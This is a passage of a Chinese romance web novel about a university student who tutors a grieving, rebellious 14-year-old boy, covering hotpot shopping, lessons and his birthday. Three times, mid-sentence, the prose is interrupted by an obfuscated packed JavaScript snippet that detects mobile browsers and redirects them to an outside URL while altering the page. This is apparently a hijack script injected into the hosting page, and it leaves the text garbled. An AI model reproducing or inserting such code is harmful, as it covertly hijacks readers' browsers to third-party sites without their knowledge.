沈曜咕咚咕咚喝了几口水,瞥了眼舒瑶的右脚。有道青紫色的痕迹没被白色短袜盖住,在袜沿儿那露出一小条。 “算了不打了。你等我一会儿,我去拿书包。”沈曜皱着眉头说,也不等舒瑶回答,顶着各种起哄的口哨声跑到球场另一头拿书包去了。 舒瑶见他和一众男生推搡打闹,又敏感的察觉到身旁传来几道敌意和探究的视线。 舒瑶侧过头,微笑着和那几名女生打招呼,“哎?我弟篮球打得怎么样?” 敌意的视线立刻变成了礼貌的回应,“你是沈曜的姐姐?以前没见过你啊。” 舒瑶对她们大方的笑笑,“我住外地的,不常来。” “沈曜打球当然好啊,我们学校出了名的。” “姐姐,你们家基因都这么好啊。是不是给女娲进过酒?” “姐姐,你是他堂姐还是表姐啊?” “姐姐,你几岁了呀?” 嚯……小姑娘们真热情。 “嗯……算是表姐吧。二十一岁啦~”舒瑶认真想了想,回道,“你们是他的同班同学吗?” “对呀。他们每次友谊赛,我们都来给他们加油的。”其中有个长得特别漂亮的女生说。舒瑶望着她,见她瓜子脸、皮肤很白、大眼睛、樱桃嘴,一眼就是能分辨出的校花级美貌。 这小姑娘长得真好看。 舒瑶点点头,对她们比了个大拇指,“仗义。” 沈曜单肩背着书包,大步流星地走过来,面无表情地对舒瑶说:“走吧。” 舒瑶对身旁的小女生们摆摆手,“走了,妹妹们。” “姐姐再见。” “沈曜拜拜。” “姐姐下次可以再来哦~” 沈曜腿长、步子又大,此时已往前疾走了好几米,背朝着身后挥了一下手。 看在舒瑶眼里是耍酷,可看在这几个女同学眼里是真帅。 休息了两天,舒瑶的脚已消肿,但走起路来还是不太利索。她努力放慢脚步,使自己走路时尽量让别人看不出异样。 沈曜快走到大门口了,一扭头见舒瑶离着她落下好一段距离,抿了抿嘴,单手插进裤子口袋,停下来等她。 直到舒瑶走到他身边,他才继续朝前走,但速度明显放慢了许多。 舒瑶跟着沈曜出了学校大门,正打算往公交站走。路过一家大型超市时,舒瑶忽的有了个新主意。 “喂,沈曜。我们去超市吧?” “干嘛?”沈曜拧眉睨她,“脚伤了你还不老实?” “你家有电磁炉吗?” “有。干嘛?” “我想吃火锅了。但我两个室友,一个忙着谈恋爱、一个忙着打工,都没空陪我。我一个人吃也没劲。正好今晚给你上课,你这个年纪的男生,胃口应该不小吧?咱俩搞个火锅吃呗?” 沈曜挑起一边眉毛乜她。他觉得眼前这女人简直是个怪胎,哪有人当家教当的这么任性的?“你又想整什么幺蛾子?” “和你用得着整幺蛾子么?你又不会是我的长期客户。我才不和你整那些虚的。你这么难管,我也不想一直给你补课。我只是单纯的想吃个火锅而已。” 沈曜差点没被她的大实话噎着气。 他头一回见到乙方比甲方还横的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13258910|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心道这女人长得一副江南水乡女子柔美婀娜的样子,怎么说出的话比他们当地的女生还要辣? 简直奇葩。沈曜在心里总结道。 “我家有阿姨做饭。” “放着当夜宵好了。”舒瑶简单一句话,打消了沈曜的顾虑,“菜钱我来出、东西我来做。真要说图你什么的话,就图你出点力气,帮我拎东西吧。怎么样?” 被她这么一提,十四岁的少年败给了自己的胃。 “……行。走吧。”沈曜的馋虫被勾起。他真的想吃火锅了。 舒瑶是真没想要啃下沈曜这个硬骨头,她自问之前家教的工作做得挺好,没必要非为了那翻倍的学费让自己成天受他的气。 她宁愿找个路途上远一些的、成绩底掉但乖巧一些的差生去教,也不想和脾气阴晴不定、还难相处的沈曜辅导英语。等两周后她的脚伤一好,她就和沈曜的父亲提辞职,重新再找一份家教。 所以她对待沈曜的态度,反而大方又直接,不搞弯弯绕,也不假客气,怎么舒心怎么来。 就算沈曜年纪小,对方对待自己究竟是什么态度,他也能分得清楚。 见舒瑶如此坦然,沈曜的心里反而少了很多负担。至少和她在一起,他不用伪装什么、也不用成天发火、闹腾、吓唬她把她逼走。 两人的相处竟在彼此清晰的认知下,真诚又自在起来。 此时正是下午五点多,超市里有不少已经下班的人在采购。 舒瑶走在前面,挑了个牛油麻辣汤底的火锅料,又买了一些生菜、菠菜、金针菇、白蘑菇、腐竹还有两盒肥牛卷。像是忽然想起什么,回头问他,“你有什么忌口的吗?” 沈曜跟在她后面推着购物车,蹙眉,“我不吃白蘑菇。” 舒瑶从购物车里将白蘑菇拿出来,放回了刚才的地方。“那有什么想吃的?” 沈曜左看右看,想了想,“我要吃羊肉。” 舒瑶便从生鲜柜台里拿了一大盒羊肉卷,看见宽粉,又问他,“宽粉要不要吃?” 沈曜点点头,“要。” 舒瑶将一袋宽粉拿下来,放入身后的推车里。 沈曜看见她头上的马尾随着她走路一晃一晃的,一边问他喜欢吃什么、一边挑选食材的样子,顿时对这个场景感到有些恍神。 他想起来,自己已经有好几年没逛过这种大型超市了。 上次逛超市时,还是陪妈妈出来在这家超市买洗发水和进口水果。 当时他妈妈还问他喜欢什么味道的洗发水,说他喜欢什么味道,她就买什么味道的。 再看现在,买东西的人不同,买的东西也不同。 但这样的情景,却如此似曾相识。然而当年全心全意爱他、宠他、会在乎和顾及他喜好的母亲已经不在了。 可眼前这个才认识只有三天的女人,莫名其妙让自己陪她买食材的女人,也会顾及他的喜好。 他发现只要他说他不喜欢,这女人就不会买,而他说喜欢的,她就会放进购物推车里。 他甚至都不知道他自己喜欢吃的和不喜欢吃的,和这女人的喜好是否一样。可这女人却纵容着他,顾及到他的口味在买食材。 沈曜的心绪一时变得复杂起来,对母亲的思念、伤感和此时被人在意、被人宠着的感觉纠缠凝聚在心底,让他呼吸有些发紧。 或许她不是故意为之,只因为自己年纪小,所以她让着自己。然而仅仅如此,也触动了他。 他的心仿若被一根看不见的藤蔓渐渐缠绕、攀附,而藤蔓上一盏盏的小灯被心底升起的丝丝感动和温暖点燃了。 一种说不清道不明的情绪浅浅的冒了头,又悄悄沉下去,在心灵最深处悄无声息地弥漫开来。 在自己还没反应过来的时候,沈曜的眼底悄然红了。 眼前这个尚算陌生、此刻却又让他生出一丝亲切感的女人,平日里应该是个很温柔的人吧。 这般想着,沈曜不由自主的将好奇的视线落在她娉婷的背影上。 4. 少年(三) “这些差不多了。你还有什么想吃的吗?” 毫不知情身后男生心思的舒瑶回过头,扫了一眼推车里的东西,才看向沈曜。 接触到她盈盈的目光,沈曜猛眨了几下眼睛,被人当场抓包的心虚使他的心跳漏了半拍,转过头佯装在看别处,愠恼地磕巴着说: “够、够了。你在我爸那儿领的补、补课费,还不够这顿火锅的钱吧。真败家。” “你爸给的双倍补课费,多出的那一倍正好够吃这顿火锅的。再说又没败你的家。有本事等会儿我做好了你别吃。”舒瑶搞不懂他倏忽冒出的情绪又从哪儿来,也就不客气的怼他。 小屁孩儿突然害羞个什么劲儿? “凭什么。我出了力的!”沈曜恼羞成怒,板起脸盯着侧方的货架,腮帮子绷紧,微钝的下颌角线条愈发分明。 这小孩儿又和自己杠上了,这是为什么呀?他这脾气可真奇怪啊…… 舒瑶疑惑地抠了抠鬓角。 难以理解就直接无视。舒瑶懒得和一个中二少年计较,拍了拍推车的扶手,轻松道:“好了。我们去收银台吧。” 沈曜不情不愿的“嗯”了一声,跟在舒瑶身后推着购物车走向收银台。 两人买好食材,到沈曜家里时,打扫和做饭的阿姨已经离开了。 舒瑶进了厨房,问沈曜保鲜膜放在哪里,沈曜也弄不清楚,往沙发上大咧咧地一坐,不耐烦的对她指了指厨房,“你随便找找吧。反正都在厨房的柜子里。” 舒瑶叹了口气,嘟囔道:“可真是个少爷。” 翻了两个柜子,舒瑶找到了保鲜膜,她拿着保鲜膜来到客厅,按照碗盘的大小撕下几张,将其中一张递给沈曜,“给。你和我一起将它们包起来。” 沈曜斜了她一眼,起身动手和她一起将做好的饭菜包好,放到冰箱里。 舒瑶看了眼时间,已经六点了,她心想不能耽误沈曜的学习,“时间不早,你先去写作业,我去洗菜,弄好了叫你。你帮我端出来放桌上就行。” “菜都挺干净的,稍微冲一下摆盘就好了吧?这么点时间也写不了什么作业。我和你一起弄吧。能快点。”沈曜扫了眼她有伤的右脚,绷着脸,眼神却没什么攻击性。 舒瑶一想也对,征询道:“那好,我洗菜,你把它们沥干水装盘端走?” “好。” 两人一同在厨房忙活,配合的倒是挺默契。不到一刻钟,所有的菜都已经摆盘端上了餐桌。 舒瑶在洗菜前,就提前将底料放到了锅里煮,等菜收拾好,锅里的底料汤恰好也已煮沸。 也许是自己动手格外香的关系,这顿火锅两人吃得都很满足。 饭后,舒瑶问沈曜找到了茶具,泡了壶普洱茶消食。 听着舒瑶在厨房“叮叮当当”的收拾碗盘、冲泡茶饮。 沈曜心底油然生出一股久违的温馨感受,心也跟着平静下来。 等舒瑶端着茶从厨房出来,沈曜的数学作业已经写完了。 “哦?不错嘛!是个潜力学霸啊。”舒瑶瞅了一眼他阖上的数学练习卷,将一杯茶放到沈曜面前,打开自己的书包,拿出一份装订好的A4纸递给他。 “什么叫潜力学霸?我成绩本来就挺好。”沈曜骄傲地挑着眉头,将练习卷收好,睨一眼舒瑶递过来的材料,“这是什么?” 舒瑶笑着瞅了他一眼,卖关子道:“你看看就知道了。” 沈曜漫不经心地接过来,大致翻了一下。 翻着翻着,他望向舒瑶的眼中渐渐漫上惊讶,“这是我们这整个学期的英语重点词汇和语法?” “对啊。”舒瑶单手撑着下巴,亮出职业笑容,“怎么样?虽然上次我没给你补课,但是我可是很负责的哦。考点大放送,你绝对不吃亏。” 沈曜忍不住好奇,“你给别人补课,也是这么一上手就放大招?一点儿底牌都不留?” 这家教可真实诚。课还没怎么上,老底全都给端出来了。 舒瑶白他一眼,又笑嘻嘻道:“我给别人上课都是循循渐进啊,毕竟时间充足。我把这些整理出来给你,是因为我只能给你上六节课。短短两周,能讲多少是多少,至于后面的,就靠你自己看着这些材料自生自灭吧。” “你这奉献可够大的。”沈曜有些不理解她这种迷之行为,心里感叹,嘴上仍是倔强,“但你别想得太美,就算你这样做,也收买不了我。” “收买你?”舒瑶睁圆杏眼,诘笑道:“你想多了少年。当时听中介介绍你的情况,我就没想过我能做得长久。我只是在弥补自己的遗憾。” 即使没打算长久的干这份家教,舒瑶仍希望沈曜在自己这里能学到一些东西。至少在情绪上,不要抵触自己给他讲课。 像沈曜这种情况的男生,叛逆期加上思想抵触,最是难教,因为无论多优秀的老师,也无法教好一个无心向学的学生。 舒瑶自认自己没有能调教好他这块“难啃的硬骨头”的能力。 她既不懂得专业的心理疏导,和沈曜也不是熟人关系。这就意味着不论开导他什么,对方都很难听得进去。即便她说的对,对方如果从情感上抵触,那说的再多也是白搭。 如果不是伤了脚,舒瑶大概会在第一次家教见到沈曜时就自动辞职了。 总之能有这两周的时间给彼此缓冲,已经算是意外的发展。 好歹这第二次家教两人相处的体验还算不错。一同吃了顿火锅,彼此之间的火药味没那么重了,可以好好说个话。 听舒瑶最后一句话的意思,沈曜忍不住追问道:“弥补遗憾?什么遗憾?” 两人基本算是陌生人,除了家教,以后的生活应该不会有交集。不会有交集,也就意味着不会有伤害。 舒瑶望进沈曜琥珀色的眼眸,那双眼睛明亮澄澈,在灯光下发出熠熠神采,让人不由的心软。 说了就说了吧,就当倾诉。 她心头一松,吐露过往,“我有个关系很亲厚的表弟。他在你这个年纪的时候叛逆学坏了,当时我忙着高考,没顾上他,就没怎么去劝导。本来他成绩很好,市重点不是问题。但就因为学坏耽误了,最后只考了个当地很差的职业学校。后来每每想起这件事,我都觉得特别后悔,那段时间经常会失眠。” 沈曜的手不自觉地转动一旁的水杯,他不太明白,“那他当时也十四岁了吧。该懂的都懂了。学坏是他自己的选择,和你有什么关系?” 舒瑶默默盯了他几秒,嘴角泄露出一丝隐含深意的笑容,“这不是和你一样吗?明知道自己的弱项是什么,却故意耍脾气让它越来越恶化。” 沈曜听得一阵胸闷,被她突如其来的一句话怼了个正着。忿忿然想发作,却念起她话还没说完,只好作罢。 舒瑶无奈地笑起来,摇头叹息,垂下的眼眸中,失落一闪而逝,“其实你说的也对。可无论是什么年纪的人,都会有控制不住自己的时候,也会在明知不对的情况下走错路。如果当时我尽力劝说引导了他仍然不听,至少我也算是为他好而尽全了心力,我自己不会有愧。可是当时我只略微发消息说了几句,完全没尽力。所以这件事,我问心有愧。” 不知是否是错觉,舒瑶低垂的眼睛有些发红,像是蕴着一汪寂寥的秋水。 沈曜不禁发了怔,联想到什么,隔了片刻才轻声问:“你觉得……我像你弟弟?” 一口气说完,舒瑶觉得心里松快许多,于是快速整理情绪,诚恳地看着他。 “你现在年纪和当年的他相仿。我只是觉得,在你这个很重要的年纪,如果我能尽力教你一些有用的东西,也许心理上会轻松一些吧。就像弥补了当年的他一样。” 沈曜觉得胸口热乎乎的,不知该说些什么,手用力捏了捏舒瑶整理的那份教材。 舒瑶大概觉得自己闲话说的太多了,战术性清了清嗓子,试探地说道: “嗯……你的家里有矛盾,我知道。可是我依然希望你做的每件事,不会坑自己。至少未来回想起来,你不会为自己任性的所作所为后悔。其他多余的我也就不劝了,劝多了你会嫌我烦。” 不经他人苦,莫劝他人善。 舒瑶没经历过沈曜的丧母之痛和父亲的再婚打击,也不想胡乱按照自己的想法去劝他接受现实。 她只能稍微站在他的视角提醒他一下,其余的事情还得靠他自己去想清楚今后究竟该如何做。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13258911|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澄明灯光投射在少年微敛的眼眸上,将他细密纤长的眼睫投出一片阴影。不知是感觉意外还是紧张,他羽扇似的眼睫颤了颤,“你在……关心我?” “对呀。”舒瑶坦然笑道,“虽然我教不了你多久,但总是盼望你好的。” 没有老师会希望自己的学生不好吧,那可是很砸自己招牌的。 沈曜和她莹透的视线对上,立马低下头,将注意力放在手中的知识点,傲娇地说道:“你废话真多。赶紧上课吧。时间不早了。” 女孩子太晚回家不安全,他心想。 -- 舒瑶确实有在履行诺言,短短两周之内,她将这一学年的知识点按照重要分级都整理好打印下来给了沈曜。 上课时,她耐心又细致,对沈曜的提问无不给予详细解答,还会给他加时讲一些英语的风土人情。 沈曜体会到她的用心,加上心理上不再排斥她,不知不觉居然将她教的内容统统牢记在心,放学回家以后也会用心背诵单词、词组和语法。 两周后的月考,他的英语成绩提升了10分,恢复到了以前的分值区间。 当沈志鹏处理的官司结束,出差回到家后,看到学校老师发来的短消息,高兴地喟叹,“真好。这次的家教总算没辜负我花的那些心思。费用高点,也值了。” 沈曜还在和他赌气,但听他提到舒瑶,便罕见的没再和他抬杠。 沈志鹏斜靠在沙发上,摘了眼镜揉捏了一会儿鼻梁,转喜为忧,“可惜她只能教你两周。唉……你小子争点气,下一个家教别再让你老爸和中介费那么多口舌了。家丑不可外扬,要不是为了你小子,老子我至于把咱家老底抖给别人看么。” 原本在客厅倒水的沈曜手里一滑,杯子差点落地,“下一个家教?什么意思?” “前几天她给我打了电话,说是家教只做到这周为止。” 沈曜愣在原地。舒瑶居然主动提前打电话给老爸辞职?这是来真的? 上第二次课时,他们定下了两周的约定。后来一个认真教、一个认真学,这件事谁都没再提起。 他原以为她说只上两星期的课是她故意的托词,毕竟高于市场一倍的家教费,哪个家教会不心动。谁知道她竟是来真的,说是两个星期就是两个星期,一点儿都不拖沓。 沈曜的心口像是突然被压了块大石头,堵得慌,声音不自觉的沉下来,问沈志鹏:“她怎么和你说的?” “说是你不愿意继续上她的课了。”沈志鹏戴上眼镜,回头望向儿子,半真半假地试探道:“你真不考虑继续让她来教你?我觉得她上课的效果挺好的。你看你,才两星期,成绩就回来了。” 沈曜眉头紧皱,抿着嘴,闷闷地喝了口凉水,才轻声说:“我没说不愿意继续上她的课。” 沈志鹏一看他这个别扭的表情,还有什么不清楚的。只是心里好笑这毛头小子死要面子,也不拆穿他,佯装为难地说:“唉。我也是挽留过她的。不过大概没什么说服力。要么你自己和她说打个电话说说?这样才更有诚意啊。” 沈曜慢吞吞地喝完半杯水,摸出手机打开通讯录,才发现自己还没有舒瑶的手机号,连微信也没加。他顿时有些心慌。 要不是老爸提起,他俩竟然马上要失联了,就像那些擦肩而过的路人一样,再无联系。 真绝情。沈曜的心里腾地升起一股灼烈的怒火。 哼!这女人竟然这么绝情! “我没她手机号,你、你发我吧。”沈曜含混不清地说道,一字一句像是从嘴里挤出来的。 “你的意思是……不用找新家教了?我觉得其实你不补课也行,成绩不是回来了么。正好给我省点钱。”好久没看见他这么天真又拗拧的神情了,沈志鹏嘴上泛欠,忍不住想逗儿子。 “她教的挺好,很用心。这学期已经过半了,就继续请她吧。上完这学期再说。”沈曜思索了一阵,认真回道。 “行啊。”沈志鹏撑了个懒腰,放下心来,斜靠在沙发上,拿起手机点动了几下,语气轻松,甚至还悄悄撇嘴笑了一下,“手机号发你了。你自己和她说。” “……”死要面子的沈曜眉毛打结,犯难了。 5. 白月光(一) 那天是星期天,也是和沈曜约定两星期里的最后一次课。 清晨六点半,深秋的天还没完全亮起来。遮光很差的窗帘外,透出一片雾蒙蒙的幽蓝色。 舒曜的手机震了两下,将她吵醒了。 “谁啊……这么早就发微信……”舒瑶揉了揉有些发干的眼睛,睡意未消。 想着起来上个厕所喝口水然后继续睡的舒瑶,顺手拿起手机看了一眼。 新好友添加申请? 点开申请,舒曜看见了申请人的留言: [说好给我做番茄炒蛋的呢。别想赖。沈曜。] 舒瑶愣了片刻,意识回笼,无语地捋了一把凌乱的长发,点击“通过好友申请”之后,将手机扔回枕头边,迷迷糊糊地去了洗手间,“这熊孩子,休息日一大早的扰人清梦,就为了一口吃的。” 上完洗手间,喝了两口温水,舒瑶觉得自己的懒觉还可以再拯救一下。 她躺回温暖的被窝里,捞起手机,慢吞吞地给沈曜发消息。 [你瑶姐姐:你怎么星期天也起这么早?] [曜:约了球赛。] [曜:欠我的番茄炒蛋什么时候还?] [你瑶姐姐:你还真记得啊。啧。那就今天吧,也只有今天了。] [曜:不急,下周也可以。] 嗯?今天不是最后一节课吗? “下周也可以”是几个意思? 舒瑶虽然犯困,但少年的言外之意她还是看懂了。 [你瑶姐姐:?] [曜:今天等你来了再说。我出门了,你继续睡吧。懒猪的世界我还是懂的。] [你瑶姐姐:……] 青春期的少年打球都这么拼的么? 挺冷的天,不晓得在被窝里多享受一会儿,反而一大早就出门? 诡异的少年们,我真是不懂 =_= - 下午两点五十分,舒瑶到达沈曜家。 星期天的上课时间是下午三点到五点,上课的过程中沈曜一直都很配合。 直到尾声,他都没有和舒瑶交谈任何一句与上课内容无关的话。 舒瑶还挺纳闷他今天怎么转性了,之前几次总会逮着机会就怼自己几句的。 突然变得这么乖,这让舒瑶心里有点慌,不得不打起十二分精神备战。 不晓得这熊孩子又憋什么坏水呢。 抬眸悄悄瞄了眼正在订正错题的男生,见他全身心都投入在学习中,舒瑶缓缓舒了口气,从桌旁站起想去给自己空了的水杯续点白开水。 谁知她还没站稳,手旁的水杯就没了。 沈曜速度更快,站起来拿着水杯就去厨房帮她倒了杯温开水,回来时眼神在她脸上迅速扫了一下,又低头看向自己的卷子。“给你。喝吧。” 舒瑶一边盯着他,一边拿起水杯,若有所思。见他将最后一题订正完,她才开口问道:“你今天……有心事?” “没。”沈曜将卷子递给她,眉头微微蹙起,神情不太自在,“赶紧批吧,等会儿不是还要做饭吗。” 舒瑶点点头,垂眸批改起来,越看越满意,嘴角不禁翘起来,“很好,学的不错。订正都对了。” 沈曜手中攥着水笔,有一下没一下地转动着。 “好。那么今天我们就学到这里。”舒瑶看了眼手机上的时间,欣慰地说:“认真学的话,你还是学的很快很好嘛。以后继续加油吧。” 沈曜不说话,只是笔转得更急了。 在舒瑶以为他会把那只笔转飞时,他却忽然停了下来,嘴里含混不清道:“以后你还来吗?” 舒瑶歪歪头,疑惑道:“约定的两星期到了……” 她想起早上这男生给她发的微信,觉得他可能是想续课。不过他性格这么别扭,应该很难开口吧。 舒瑶眼珠滴溜溜一转。 行~姐姐我比你大,就给你个台阶下。 “怎么?还想我继续来上课吗?”舒瑶暗自好笑,脸上却不敢做出逗弄的表情,只露出几分小心翼翼。她知道这男生自尊心很强,如果敢取笑他,他肯定当场就炸了。 其实教了沈曜几节课,舒瑶对这位学生还是很满意的。他家住得离自己的学校近,交通便利,他人也很聪明、领悟力强,除了脾气臭、嘴毒以外,是个很不错的学生。 所以当舒瑶觉悟到他有续课的打算时,心里也很高兴。毕竟比起又要去接触 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舒瑶凝视着他,一本正经的说:“老实说,我教你挺有成就感的。你很聪明、学东西也快。你家离我还近。刚开始中介和我说的那些问题,现在已经不存在了,所以再收你两倍的家教费,我也无法心安理得。如果你还想我继续来上课,我当然很愿意。” 舒瑶说的一番话合情合理,态度又诚恳。 沈曜想续课又拉不下脸的心理得到了安抚,总算开心了,露出少年人纯真的笑容来,“好啊。那你继续来吧。以后每周两次,周四和周日。” 见他坦诚,舒瑶愉悦道:“好。成交。那今天就给你做番茄炒蛋盖浇饭做赠品。” 沈曜眯起眼睛,扬了扬下巴,一脸欠揍的表情,“别诓我。这是早就说好的吧。怎么,你一份赠品还当两份送呢。算盘打得挺精啊。” 毒舌的小子,还挺不好骗的。 舒瑶嘻嘻笑了两声,往厨房走,“行行行。你最聪明了。” 她刚进厨房没一会儿,落在沈曜书桌上的手机震动起来。 沈曜凑前瞥了一眼,来电显示是“学长-杨衍”。 是她男朋友? 6. 白月光(二) 沈曜趿拉着拖鞋,拿起手机,走到厨房递给舒瑶,“你手机响了。” 舒瑶正在打鸡蛋,闻言放下碗接过手机瞄了眼名字,马上接起来,“喂,学长。” 手机没开扬声器,可在安静的空间内,对话依然能被听清。 “舒瑶,上次和你提的那个项目,想好了吗?打算参加吗?” 舒瑶嘴角漾起一抹笑意,“想好了。能参加,谢谢学长带上我。” 因为在专心通话,舒瑶没注意到沈曜抱臂斜靠在厨房门口,没离开。 非学习时间,又在自己家里,沈曜心情舒畅,才有闲工夫好好打量眼前的女生。 她曼颊皓齿,侧身站立时,腰背挺直,在白炽光灯下显出姣好的仪态,即便微微低着头,柔美的下颌线依然清晰。 眼前的小老师长得很漂亮,尤其是她不发脾气怼人的时候,秀丽婉约,好似春天里盛放的一株垂丝海棠。 难怪之前在球场被男生们起哄,即便自己不是那么浮夸的性格,即便自己不认识她,她来他们学校,想必他也会多看几眼的。 虽说她的五官不如他们校花那样明媚出挑,但娴雅的气质依然让她轻易胜出。 这样品貌出众的小姐姐,在大学里应该十分受欢迎吧。 舒瑶挂了电话,才发现沈曜还靠在厨房门边,忙赶他走,“你怎么还在啊?去看电视吧。我这儿还得有一刻钟才好呢。” 沈曜不理会,嘴角拉开一个戏谑的弧度,露出几分痞气,“你男朋友找你?” “说什么呢。”舒瑶眼神恍了恍,脸颊悄然浮起一抹绯色。“才不是。” 一看这苗头,还有什么不清楚的。就算不是男朋友,那也是暧昧对象。 “他想追你,还是你暗恋他?”沈曜难得看见她慌乱,有心想逗逗她。 直男说话毫不拐弯抹角,怎么直接怎么来。不怕自己尴尬,更不怕对方尴尬。 =_= “你这小朋友,是不是有点早熟?!”舒瑶瞪圆了眼睛,对他扬了扬筷子驱赶,“少管闲事。” “说说嘛。现在又不是上课时间。好歹咱俩也算半个朋友吧。”男生一旦把话说开,熟络起来也就分分钟的事。 也许是受了沈曜毫无防备与自己交流的感染,舒瑶觉得即使说了也无伤大雅,就告诉他:“他应该是有那个意思,我觉得他人也很好。长得帅、学习好,优秀。可以当个准男友。” 沈曜撇了一下嘴,嫌弃道:“你还挺坦诚。那看来你好事将近了。” 舒瑶犹豫片刻,摇摇头,一边搅拌鸡蛋一边与沈曜闲聊,“不一定。我们学校下学期可能会有一批出国交流的名额,他在推荐名单里。我可受不了异地恋。” “哦,懂了。”沈曜明白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13258913|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点头,环抱着胳膊,耸着眼皮一脸了然:“煮熟的鸭子可能要飞。” “嘶……”舒瑶被他那副欠兮兮的样子气笑了,“你好烦啊!闲的慌就出去写作业去。” “行吧。你收收你那花痴劲儿,赶紧做饭。我饿了。”沈曜站直身子,伸了个大大的懒腰。 “你才花痴。”舒瑶对他狠狠翻了个白眼,将手机递给他,把手又洗了一遍才去拿番茄,“帮我把手机带出去,乖乖等着。” “得令!”沈曜装模作样敬了个礼,抽走手机转身去客厅往沙发上一躺,打游戏去了。 舒瑶很少看见他如此放松且无忧无虑的一面,愣了一会儿,才又忙活起来。 这小男生,好像对自己放下了戒心,露出了原本的开朗性情? 如果他妈妈还在,阖家圆满,他可能会一直保持这样松弛的状态。 眉宇间少了刚见面时的戾气,痞痞的少年感不经意间流露出来,欠揍又可爱。 就像是在野外脱离生命危险之后,在安全舒适的地方撒欢打滚的小猎豹。 也许,这才是他最真实的样子。 舒瑶不禁叹了口气。 世事弄人,让他那么早就经历丧母之痛。 比起自己年幼时与父母的生离,那种死别的锥心之痛大概不及他的万分之一。 真是个让人心疼的男孩啊…… 7. 白月光(三) 霜降一过,气温降了不少。冷风翛翛而过,街边的枫叶落了一地,行人路过时,沙沙作响。 川城这几天连着阴雨,湿寒潮气氤氲不散,直往人的衣领子里钻。 舒瑶提着一袋礼物,掖紧脖子里的围巾,放眼朝街角尽头望去,水墨似的天色里错落一地红黄交织的落叶,不像下午,反倒萧瑟的彷如傍晚。 到达沈曜家时,才两点半,离上课还有半个小时。 “今天你来得这么早?”沈曜给她开门时,扫了一眼时钟,庆幸自己回来的早。 舒瑶见他还穿着外套,好奇地问:“你也刚进门啊?” “嗯。才从爷爷奶奶家回来。”说完,沈曜脱下外套挂在玄关的衣架上,又顺手接过舒瑶刚收起的雨伞。 两人手指相触,舒瑶的指尖冰凉。 沈曜的手微微抖了一下。 “你手好暖。”舒瑶羡慕的感叹男生手指上的热力,一边换鞋一边说道。 沈曜鄙视她,“你穿那么多,怎么手还这么凉。浪费衣料。”说完转身进了厨房。 舒瑶:“……”=_=||| 这小男生不吐槽她是会浑身难受么。 舒瑶拎着袋子走进书房,沈曜还在厨房没出来,她便左右环顾起这间房间。 沈曜家的书房很大,足有二十多平。东南面两大排书架,几乎占满了整面墙。 其上一半都是各类涉及法律的书籍杂志以及沈曜学习方面的教辅材料,另一半则是文化、杂谈和小说类的杂书。 书房的中间是两个类似图书馆里那种长方形的极简书桌拼接在一起,左边的书桌上摆放着一个悬挂四支毛笔的黑檀木制的文昌毛笔架和书法用品,另有一盆鲜嫩翠绿的文昌竹摆在桌角上。 之前几次舒瑶来给他上课时,都是紧赶慢赶地追进度,没怎么好好参观过。直到这次过来,时间充裕,她才有了闲情逸致好好打量这间书房。 能看得出来,沈曜的爸爸沈志鹏是个喜欢读书且很有文学品味的人。 在如此环境下长大,难怪沈曜的学习成绩那么好。他从小耳濡目染,自然能养成好的学习习惯,培养出爱读书的爱好。 欣赏完一圈,沈曜恰好端着一杯热饮走了进来。 舒瑶瞧见他手上的星黛露马克杯,那是之前沈曜专门给她买的,买之前还特意将一排杯子拍下来,让自己挑个喜欢的款式。 这男生外表看着粗糙,内里却很细心。 “喝吧。暖暖胃。”沈曜将杯子递给她。 “什么啊?”舒瑶正低头将自己的袋子拆开,顺便朝杯子里瞄了一眼。“生姜红糖水?” “嗯。你上次来的时候不是说这东西可以助暖么?我就在便利店里买了一些备用。” 呃……尴尬的话题。 舒瑶前两周来给沈曜上课时正好来例假,她也知道自己有痛经的毛病,临出门前塞了一条红糖便携包在兜里,到他家之后就冲了一杯。 沈曜当时看得莫名其妙,满眼写满疑惑。 对他来说,自他有记忆以来,这种陌生的东西从来没在他家的厨房出现过。 舒瑶只好告诉他说自己怕冷,遇见气温下降容易胃疼,喝这个可以助暖。 没想到沈曜连这个都记住了。 不过红糖水的确助暖,倒也没说错。 舒瑶对他呵呵干笑两声,“你记性真好,这么细心。” 沈曜得意地扯了一下嘴角,见她大包小包的从袋子里拿东西往桌子上放,不由问道:“怎么了?带了这么多东西?” “小蛋糕、围巾、手套。”舒瑶将东西一一摆放在他面前的长桌上,“不多,就三样小礼品而已。” 沈曜拿起这几样,放在手里颠了颠,挨个儿瞧完,挑着眉头问:“这些都是给我的?” “你这礼拜是不是过生日啊?这些是我给你带的生日礼物。”舒瑶笑眯眯地说:“不用谢。” 